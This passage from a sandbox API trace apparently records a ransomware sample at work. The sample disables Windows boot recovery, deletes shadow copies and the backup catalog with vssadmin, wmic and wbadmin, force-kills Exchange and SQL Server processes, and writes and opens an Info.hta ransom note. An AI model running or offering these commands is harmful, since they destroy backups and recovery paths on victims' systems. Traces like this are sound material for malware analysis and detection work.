lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="cmd.exe /c bcdedit /set {default} recoveryenabled No", lpProcessInformation=0x18fd7c*(hProcess=0xac, hThread=0xb0, dwProcessId=0xb60, dwThreadId=0xbc4)) returned 1 [0031.828] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessInformation=0x18fd7c*(hProcess=0xb4, hThread=0xb8, dwProcessId=0xb98, dwThreadId=0xb70)) returned 1 [0031.837] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="cmd.exe /c vssadmin delete shadows /all /quiet", lpProcessInformation=0x18fd7c*(hProcess=0xa0, hThread=0xbc, dwProcessId=0x3c8, dwThreadId=0xbf8)) returned 1 [0031.857] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c wmic shadowcopy delete", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="cmd.exe /c wmic shadowcopy delete", lpProcessInformation=0x18fd7c*(hProcess=0xc0, hThread=0xc4, dwProcessId=0xbe4, dwThreadId=0xbf4)) returned 1 [0031.866] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c wbadmin delete catalog -quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="cmd.exe /c wbadmin delete catalog -quiet", lpProcessInformation=0x18fd7c*(hProcess=0xc8, hThread=0xcc, dwProcessId=0x888, dwThreadId=0x988)) returned 1 [0032.245] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="taskkill /f /im MSExchange*", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="taskkill /f /im MSExchange*", lpProcessInformation=0x18fd7c*(hProcess=0xd0, hThread=0xd4, dwProcessId=0xbfc, dwThreadId=0xb6c)) returned 1 [0032.692] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="taskkill /f /im Microsoft.Exchange.*", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="taskkill /f /im Microsoft.Exchange.*", lpProcessInformation=0x18fd7c*(hProcess=0xd8, hThread=0xdc, dwProcessId=0xb14, dwThreadId=0x960)) returned 1 [0033.165] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="taskkill /f /im sqlserver.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="taskkill /f /im sqlserver.exe", lpProcessInformation=0x18fd7c*(hProcess=0xe4, hThread=0xe8, dwProcessId=0x9c8, dwThreadId=0xac4)) returned 1 [0033.175] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="taskkill /f /im sqlwriter.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="taskkill /f /im sqlwriter.exe", lpProcessInformation=0x18fd7c*(hProcess=0xec, hThread=0xf0, dwProcessId=0x7e0, dwThreadId=0x998)) returned 1 [0033.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558590 [0033.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x579b28 [0033.180] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x558590 | out: hHeap=0x540000) returned 1 [0033.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe6) returned 0x59a998 [0033.180] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a8f0 | out: hHeap=0x540000) returned 1 [0033.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x158) returned 0x59a830 [0033.180] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x540000) returned 1 [0033.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x140) returned 0x59a998 [0033.181] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1de) returned 0x59acb0 [0033.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x540000) returned 1 [0033.181] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x202) returned 0x5595e8 [0033.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a830 | out: hHeap=0x540000) returned 1 [0033.181] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2cc) returned 0x5597f8 [0033.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59acb0 | out: hHeap=0x540000) returned 1 [0033.181] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x430) returned 0x55bad0 [0033.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5597f8 | out: hHeap=0x540000) returned 1 [0033.181] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x646) returned 0x55bf08 [0033.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bad0 | out: hHeap=0x540000) returned 1 [0033.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5595e8 | out: hHeap=0x540000) returned 1 [0033.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579b28 | out: hHeap=0x540000) returned 1 [0033.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x558f18 | out: hHeap=0x540000) returned 1 [0033.181] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0033.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x54f118 [0033.189] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x54f118 | out: lpBuffer="C:\\") returned 0x4 [0033.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x599f88 [0033.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x54f118 | out: hHeap=0x540000) returned 1 [0033.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x599fa8 [0033.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x599f88 | out: hHeap=0x540000) returned 1 [0033.189] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0033.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558590 [0033.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x14) returned 0x599f88 [0033.189] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x40567f, phModule=0x599f94 | out: phModule=0x599f94*=0x400000) returned 1 [0033.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x44e03f, lpParameter=0x599f88, dwCreationFlags=0x0, lpThreadId=0x18fd98 | out: lpThreadId=0x18fd98*=0x5dc) returned 0xf8 [0033.190] CloseHandle (hObject=0xf8) returned 1 [0033.190] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x5791c8 [0033.190] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x14) returned 0x599fe8 [0033.190] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x4056dc, phModule=0x599ff4 | out: phModule=0x599ff4*=0x400000) returned 1 [0033.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x44e03f, lpParameter=0x599fe8, dwCreationFlags=0x0, lpThreadId=0x18fd94 | out: lpThreadId=0x18fd94*=0xa50) returned 0xf8 [0033.191] CloseHandle (hObject=0xf8) returned 1 [0033.191] GetCurrentThread () returned 0xfffffffe [0033.191] WaitForSingleObject (hHandle=0xfffffffe, dwMilliseconds=0xa) returned 0x102 [0033.197] FindResourceW (hModule=0x0, lpName=0x67, lpType=0x17) returned 0x4a4098 [0033.198] LoadResource (hModule=0x0, hResInfo=0x4a4098) returned 0x4945a8 [0033.198] LockResource (hResData=0x4945a8) returned 0x4945a8 [0033.198] SizeofResource (hModule=0x0, hResInfo=0x4a4098) returned 0xba3 [0033.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xba3) returned 0x55c558 [0033.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x130) returned 0x59a830 [0033.198] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x59a830, nSize=0x12c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0033.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x550c48 [0033.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5585b8 [0033.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x579c28 [0033.198] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579c28 | out: hHeap=0x540000) returned 1 [0033.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x579c28 [0033.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x59a028 [0033.198] GetLastError () returned 0x0 [0033.198] SetLastError (dwErrCode=0x0) [0033.198] GetLastError () returned 0x0 [0033.198] SetLastError (dwErrCode=0x0) [0033.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xb8) returned 0x59a968 [0033.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6a6) returned 0x55d108 [0033.198] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55d108 | out: hHeap=0x540000) returned 1 [0033.198] GetLastError () returned 0x0 [0033.198] SetLastError (dwErrCode=0x0) [0033.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x579c38 [0033.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x579b28 [0033.199] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x579b38 [0033.199] GetLastError () returned 0x0 [0033.199] SetLastError (dwErrCode=0x0) [0033.199] GetLastError () returned 0x0 [0033.199] SetLastError (dwErrCode=0x0) [0033.199] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xb8) returned 0x59aa28 [0033.199] GetLastError () returned 0x0 [0033.199] SetLastError (dwErrCode=0x0) [0033.199] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6a6) returned 0x55d108 [0033.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55d108 | out: hHeap=0x540000) returned 1 [0033.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579c38 | out: hHeap=0x540000) returned 1 [0033.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a968 | out: hHeap=0x540000) returned 1 [0033.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579b38 | out: hHeap=0x540000) returned 1 [0033.199] GetLastError () returned 0x0 [0033.199] SetLastError (dwErrCode=0x0) [0033.199] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x579c38 [0033.199] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x579b38 [0033.199] GetLastError () returned 0x0 [0033.199] SetLastError (dwErrCode=0x0) [0033.199] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x200) returned 0x59acb0 [0033.199] GetLastError () returned 0x0 [0033.199] SetLastError (dwErrCode=0x0) [0033.199] GetLastError () returned 0x0 [0033.199] SetLastError (dwErrCode=0x0) [0033.199] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x579b48 [0033.199] GetLastError () returned 0x0 [0033.199] SetLastError (dwErrCode=0x0) [0033.199] GetLastError () returned 0x0 [0033.199] SetLastError (dwErrCode=0x0) [0033.200] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xb8) returned 0x59a968 [0033.200] GetLastError () returned 0x0 [0033.200] SetLastError (dwErrCode=0x0) [0033.200] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6a6) returned 0x55d108 [0033.200] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55d108 | out: hHeap=0x540000) returned 1 [0033.200] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579c38 | out: hHeap=0x540000) returned 1 [0033.200] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59aa28 | out: hHeap=0x540000) returned 1 [0033.200] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579b48 | out: hHeap=0x540000) returned 1 [0033.200] GetLastError () returned 0x0 [0033.200] SetLastError (dwErrCode=0x0) [0033.200] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x579c38 [0033.200] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579b38 | out: hHeap=0x540000) returned 1 [0033.200] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579b28 | out: hHeap=0x540000) returned 1 [0033.200] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x579b28 [0033.200] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x579b38 [0033.200] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x38) returned 0x59aa28 [0033.202] GetProcAddress (hModule=0x76e10000, lpProcName="AreFileApisANSI") returned 0x76ea40d1 [0033.202] AreFileApisANSI () returned 1 [0033.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x59a830, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55 [0033.202] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6e) returned 0x59aa68 [0033.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x59a830, cbMultiByte=-1, lpWideCharStr=0x59aa68, cchWideChar=55 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta") returned 55 [0033.202] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\info.hta"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18fb0c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe0 [0033.218] GetFileType (hFile=0xe0) returned 0x1 [0033.218] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59aa68 | out: hHeap=0x540000) returned 1 [0033.218] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x579b48 [0033.218] GetLastError () returned 0x0 [0033.218] SetLastError (dwErrCode=0x0) [0033.219] GetLastError () returned 0x0 [0033.219] SetLastError (dwErrCode=0x0) [0033.219] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xb8) returned 0x59aeb8 [0033.219] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6a6) returned 0x55d108 [0033.219] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55d108 | out: hHeap=0x540000) returned 1 [0033.219] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579c38 | out: hHeap=0x540000) returned 1 [0033.219] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a968 | out: hHeap=0x540000) returned 1 [0033.219] GetLastError () returned 0x0 [0033.219] SetLastError (dwErrCode=0x0) [0033.219] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x579c38 [0033.219] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x59af78 [0033.219] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x59af88 [0033.219] GetLastError () returned 0x0 [0033.219] SetLastError (dwErrCode=0x0) [0033.219] GetLastError () returned 0x0 [0033.219] SetLastError (dwErrCode=0x0) [0033.219] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xb8) returned 0x59a968 [0033.219] GetLastError () returned 0x0 [0033.219] SetLastError (dwErrCode=0x0) [0033.219] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6a6) returned 0x55d108 [0033.219] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55d108 | out: hHeap=0x540000) returned 1 [0033.219] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579c38 | out: hHeap=0x540000) returned 1 [0033.219] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59aeb8 | out: hHeap=0x540000) returned 1 [0033.219] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59af88 | out: hHeap=0x540000) returned 1 [0033.219] GetLastError () returned 0x0 [0033.219] SetLastError (dwErrCode=0x0) [0033.219] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bae8 [0033.220] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55baf8 [0033.220] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x55bb08 [0033.220] GetLastError () returned 0x0 [0033.220] SetLastError (dwErrCode=0x0) [0033.220] GetLastError () returned 0x0 [0033.220] SetLastError (dwErrCode=0x0) [0033.220] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xb8) returned 0x59aeb8 [0033.220] GetLastError () returned 0x0 [0033.220] SetLastError (dwErrCode=0x0) [0033.220] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6a6) returned 0x55d108 [0033.220] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55d108 | out: hHeap=0x540000) returned 1 [0033.220] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bae8 | out: hHeap=0x540000) returned 1 [0033.220] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a968 | out: hHeap=0x540000) returned 1 [0033.220] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb08 | out: hHeap=0x540000) returned 1 [0033.220] GetLastError () returned 0x0 [0033.220] SetLastError (dwErrCode=0x0) [0033.220] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb08 [0033.220] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55baf8 | out: hHeap=0x540000) returned 1 [0033.220] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59af78 | out: hHeap=0x540000) returned 1 [0033.220] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55baf8 [0033.220] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55d108 [0033.220] GetLastError () returned 0x0 [0033.220] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0033.221] SetLastError (dwErrCode=0x0) [0033.221] WriteFile (in: hFile=0xe0, lpBuffer=0x18e7a0*, nNumberOfBytesToWrite=0xc22, lpNumberOfBytesWritten=0x18e798, lpOverlapped=0x0 | out: lpBuffer=0x18e7a0*, lpNumberOfBytesWritten=0x18e798*=0xc22, lpOverlapped=0x0) returned 1 [0033.222] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55d108 | out: hHeap=0x540000) returned 1 [0033.222] CloseHandle (hObject=0xe0) returned 1 [0033.223] ShellExecuteA (hwnd=0x0, lpOperation="open", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0041.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579b38 | out: hHeap=0x540000) returned 1 [0041.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x550c48 | out: hHeap=0x540000) returned 1 [0041.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a830 | out: hHeap=0x540000) returned 1 [0041.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c558 | out: hHeap=0x540000) returned 1 [0041.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x599fa8 | out: hHeap=0x540000) returned 1 [0041.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579388 | out: hHeap=0x540000) returned 1 [0041.384] FindResourceW (hModule=0x0, lpName=0x66, lpType=0xa) returned 0x4a4058 [0041.401] LoadResource (hModule=0x0, hResInfo=0x4a4058) returned 0x4940f0 [0041.401] LockResource (hResData=0x4940f0) returned 0x4940f0 [0041.401] SizeofResource (hModule=0x0, hResInfo=0x4a4058) returned 0x4b1 [0041.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4b1) returned 0x5da330 [0041.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5f6130 [0041.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5f5dc0 [0041.401] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f6130 | out: hHeap=0x540000) returned 1 [0041.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20023) returned 0x60c988 [0041.404] GetEnvironmentVariableW (in: lpName="SYSTEMROOT", lpBuffer=0x60c9a0, nSize=0xffff | out: lpBuffer="C:\\Windows") returned 0xa [0041.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x28d5e30 [0041.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5f6130 [0041.404] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a7c8 | out: hHeap=0x540000) returned 1 [0041.404] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x60c988 | out: hHeap=0x540000) returned 1 [0041.404] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f5dc0 | out: hHeap=0x540000) returned 1 [0041.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20023) returned 0x60c988 [0041.404] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x60c9a0, nSize=0xffff | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0041.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x560418 [0041.404] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x60c988 | out: hHeap=0x540000) returned 1 [0041.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20023) returned 0x60c988 [0041.404] GetEnvironmentVariableW (in: lpName="TMP", lpBuffer=0x60c9a0, nSize=0xffff | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0041.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd8) returned 0x5d6f80 [0041.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x560ec0 [0041.404] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5e30 | out: hHeap=0x540000) returned 1 [0041.404] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x60c988 | out: hHeap=0x540000) returned 1 [0041.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5f5dc0 [0041.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x605560 [0041.404] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f5dc0 | out: hHeap=0x540000) returned 1 [0041.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20023) returned 0x60c988 [0041.404] GetEnvironmentVariableW (in: lpName="PROGRAMDATA", lpBuffer=0x60c9a0, nSize=0xffff | out: lpBuffer="C:\\ProgramData") returned 0xe [0041.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5f5dc0 [0041.404] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x60c988 | out: hHeap=0x540000) returned 1 [0041.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x6051d8 [0041.404] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x605560 | 